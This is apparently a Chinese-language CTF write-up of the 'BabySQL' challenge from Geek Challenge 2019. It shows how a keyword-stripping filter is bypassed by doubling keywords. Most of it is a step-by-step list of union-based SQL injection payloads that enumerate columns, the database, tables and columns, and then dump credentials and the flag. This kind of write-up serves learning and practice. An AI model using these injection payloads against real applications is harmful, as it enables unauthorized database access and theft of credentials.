原理
sql关键字绕过姿势之双写绕过
解题过程
BabySQL嘛,看到登录框,先试试or万能登录
发现sql语句报错了,把我or给吃了,可以看到这种过滤是直接把or关键字替换成了空字符串
那我们可以试试双写绕过
可以了,我们得到了账号密码,有啥用??我起初还想着将这密码解密呢- -,浪费时间,继续用常规套路sql语句挖信息吧
后面对关键字一个个尝试,都用双写绕过就可以了,下面只给出payload了
以下测试可以账号密码都放一样的payload,因为账号那一栏的报错信息不全
1' oorrder bbyy 5# 报错
1' oorrder bbyy 4# 报错
1' oorrder bbyy 3# 回显正常
以上得出sql语句的查询列项为3
-1' ununionion seselectlect 1,2,3 #
以上找出回显位置是2,3
-1' ununionion seselectlect 1,database(),3 #
以上找出数据库名为geek
-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
以上找出表名为:b4bsql geekuser
-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#
以上找出b4bsql和geekuser列名均为id,username,password
-1' ununionion seselectlect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql#
拿到flag
标签:极客,group,name,BabySQL,2019,table,报错,seselectlect,ununionion
From: https://www.cnblogs.com/BEONTHE/p/17749022.html